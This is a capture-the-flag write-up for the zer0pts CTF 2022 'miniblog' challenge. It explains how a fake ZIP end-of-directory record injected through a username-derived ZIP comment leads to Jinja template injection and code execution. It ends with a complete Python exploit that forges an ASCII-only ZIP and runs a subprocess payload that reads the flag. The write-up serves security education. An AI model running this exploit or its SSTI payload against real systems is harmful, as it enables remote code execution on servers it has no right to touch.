# miniblog# - zer0pts CTF 2022 ###### tags: `zer0pts CTF 2022` `web` ## Challenge - Server is Flask + Jinja - You can post blog articles written in HTML - You cannot use template except for `{{title}}` and `{{author}}` - You can import/export articles by the following code ```python= def export_posts(self, username, passhash): """Export all blog posts with encryption and signature""" buf = io.BytesIO() with zipfile.ZipFile(buf, 'a', zipfile.ZIP_DEFLATED) as z: # Archive blog posts for path in glob.glob(f'{self.workdir}/*.json'): z.write(path) # Add signature so that anyone else cannot import this backup z.comment = f'SIGNATURE:{username}:{passhash}'.encode() # Encrypt archive so that anyone else cannot read the contents buf.seek(0) iv = os.urandom(16) cipher = AES.new(app.encryption_key, AES.MODE_CFB, iv) encbuf = iv + cipher.encrypt(buf.read()) return None, base64.b64encode(encbuf).decode() def import_posts(self, b64encbuf, username, passhash): """Import blog posts from backup file""" encbuf = base64.b64decode(b64encbuf) cipher = AES.new(app.encryption_key, AES.MODE_CFB, encbuf[:16]) buf = io.BytesIO(cipher.decrypt(encbuf[16:])) try: with zipfile.ZipFile(buf, 'r', zipfile.ZIP_DEFLATED) as z: # Check signature if z.comment != f'SIGNATURE:{username}:{passhash}'.encode(): return 'This is not your database' # Extract archive z.extractall() except: return 'The database is broken' return None ``` ## Analysis Let's check what import/export (backup) is doing. First of all, the blog posts are compressed to a zip file: ```python with zipfile.ZipFile(buf, 'a', zipfile.ZIP_DEFLATED) as z: # Archive blog posts for path in glob.glob(f'{self.workdir}/*.json'): z.write(path) ``` and a signature is set to the comment field of the zip file: ```python # Add signature so that anyone else cannot import this backup z.comment = f'SIGNATURE:{username}:{passhash}'.encode() ``` The signature consists of the username and the password hash. This value is checked when importing the backup file. The binary data of the zip file will be encrypted by AES (CFB mode) with an unknown key. ```python # Encrypt archive so that anyone else cannot read the contents buf.seek(0) iv = os.urandom(16) cipher = AES.new(app.encryption_key, AES.MODE_CFB, iv) encbuf = iv + cipher.encrypt(buf.read()) return None, base64.b64encode(encbuf).decode() ``` Import does the reverse operation and checks signature written in the zip comment. ```python with zipfile.ZipFile(buf, 'r', zipfile.ZIP_DEFLATED) as z: # Check signature if z.comment != f'SIGNATURE:{username}:{passhash}'.encode(): return 'This is not your database' # Extract archive z.extractall() ``` We want to upload arbitrary blog post so that we can inject template string to achieve RCE. However, the encryption makes it impossible to modify the contents of the zip file. ## Structure of ZIP The ZIP specification is simple enough. The most important part of the ZIP structure in this challenge is the comment field. ZIP has a meta data called **End of Directory Header** (EDH) which stores information about the number of files, offset to the file lists, and so on. EDH exists at the very end (tail) of a ZIP file. So, every ZIP library seeks the end of the file and attempts to read EDH. However, EDH is such a silly structure. **It can store a variable length of comment at the end of EDH but the comment length exists before the comment**. That is, there is no way for the ZIP reader to know the size of EDH. To address this problem, ZIP library skips comment and tries to find the magic number of EDH (`PK\x05\x06`), which requires `O(n)` operation to just find the meta data. 🤦‍♀️ There is no limit on the contents of the comment. It means **every ZIP reader misunderstands the position of EDH if a fake EDH exists in the ZIP comment!** If you can put an arbitrary ZIP comment, you can completely alter the contents of the ZIP. ## Crafting ASCII ZIP So, do we just have to put a fake ZIP containing a SSTI string as blog post? No. Remember the ZIP comment is created by password hash and username. ```python z.comment = f'SIGNATURE:{username}:{passhash}'.encode() ``` Username is fully controllable but it must be `encode`-able, which means it must be written in UTF-8. Generally, you can only use ASCII code (`\x00`-`\x7f`) in the username. The hardest part of this challenge is crafting an arbitrary ZIP file only with ASCII characters. Here is the list of what a common ZIP file contains: - Magic number (`PK\x01\x02`, `PK\x03\x04`, `PK\x05\x06`) - Offset information (e.g., Offset to Central Directory Header) - Size information (e.g., File size, Comment length) - Datetime information (e.g., Creation date) - Attributes and flags (e.g., compression method, file type, and so on) - (Compressed) Files - CRC32 hash of the files Magic number is okay because it consists of some ASCII characters. Offset and size information are also okay because we can control it by inserting some garbage data, so that the value can be represented by ASCII. Datetime doesn't matter obviously. The content os file is also ASCII because we're injecting an SSTI string and we can choose no-compression mode. Flags and attributes are also ASCII-representable. (Mostly zero) To make the CRC32 hash ASCII-representable, we can add some random ASCII data to the file by brute force until its CRC32 becomes a good value. So, **you can write a ZIP file only with ASCII characters!** ## Exploit Full exploit ```python= from ptrlib import * from itsdangerous import URLSafeTimedSerializer from flask.sessions import TaggedJSONSerializer import base64 import binascii import hashlib import json import os import requests import zipfile HOST = os.getenv("HOST", "localhost") PORT = os.getenv("PORT", "8018") CODE = "{{ request.application.__globals__.__builtins__.__import__('subprocess').check_output('cat /flag*.txt',shell=True) }}" CODE += "A"*(0x100 - len(CODE)) # Login as code executor r = requests.post(f"http://{HOST}:{PORT}/api/login", headers={"Content-Type": "application/json"}, data=json.dumps({"username": "EvilFennec", "password": "TibetanFox"})) fox_cookies = r.cookies serializer = TaggedJSONSerializer() signer_kwargs = { 'key_derivation': 'hmac', 'digest_method': hashlib.sha1 } s = URLSafeTimedSerializer( b'', salt='cookie-session', serializer=serializer, signer_kwargs=signer_kwargs ) _, fox_session = s.loads_unsafe(fox_cookies["session"]) username = fox_session['username'] passhash = fox_session['passhash'] workdir = fox_session['workdir'] # Find ascii CRC32 logger.info("Searching CRC32...") ORIG = CODE while True: data = { "title": "exploit", "id": "exploit", "date": "1919/8/10 11:45:14", "author": "a", "content": CODE } x = json.dumps(data).encode() crc32 = binascii.crc32(x) if all([(crc32 >> i) & 0xff < 0x80 for i in range(0, 32, 8)]): if all([(len(x) >> i) & 0xff < 0x80 for i in range(0, 32, 8)]): break else: CODE = ORIG + 'A'*0x100 else: CODE += "A" logger.info("CRC Found: " + hex(crc32)) logger.info("ASCII Length: " + hex(len(x))) logger.info(CODE) # Create a malicious zip comment os.makedirs(f"post/{workdir}", exist_ok=True) with open(f"post/{workdir}/exploit.json", "w") as f: json.dump(data, f) with zipfile.ZipFile("exploit.zip", "w", zipfile.ZIP_STORED) as z: z.write(f"post/{workdir}/exploit.json") z.comment = f'SIGNATURE:{username}:{passhash}'.encode() # Malform zip logger.info("Creating ascii zip...") size_original = 0x30 while True: with open("exploit.zip", "rb") as f: payload = f.read() sz = len(payload) lfh = payload.find(b'PK\x03\x04') cdh = payload.find(b'PK\x01\x02') ecdr = payload.find(b'PK\x05\x06') ## 1. Modify End of Central Directory Record # Modify offset to CDH payload = payload[:ecdr+0x10] + p32(cdh+size_original) + payload[ecdr+0x14:] ## 2. Modify Central Directory Header # Modify relative offset to LFH payload = payload[:cdh+0x2a] + p32(0x000 + size_original) + payload[cdh+0x2e:] # Modify timestamp payload = payload[:cdh+0xa] + p32(0) + payload[cdh+0xe:] # Modify attr payload = payload[:cdh+0x26] + p32(0x00000000) + payload[cdh+0x2a:] ## 3. Modify Local File Header # Modify timestamp payload = payload[:lfh+0xa] + p32(0) + payload[lfh+0xe:] payload = b"A" * (size_original - 0x30) + payload for c in payload: if c > 0x7f: break else: break size_original += 1 logger.info("Created ascii zip!") # ZIP comment injection r = requests.post(f"http://{HOST}:{PORT}/api/login", headers={"Content-Type": "application/json"}, data=json.dumps({"username": bytes2str(payload), "password": "whatever"})) cookies = r.cookies logger.info("Registered malicious user") # Export crafted exploit r = requests.get(f"http://{HOST}:{PORT}/api/export", cookies=cookies) exp = json.loads(r.text)["export"] logger.info("Exploit exported!") # Import the exploit r = requests.post(f"http://{HOST}:{PORT}/api/import", headers={"Content-Type": "application/json"}, data=json.dumps({"import": exp}), cookies=fox_cookies) logger.info("Exploit imported!") # Leak flag logger.info("SSTI go brrrr...") r = requests.get(f"http://{HOST}:{PORT}/post/exploit", cookies=fox_cookies) print(r.text) ```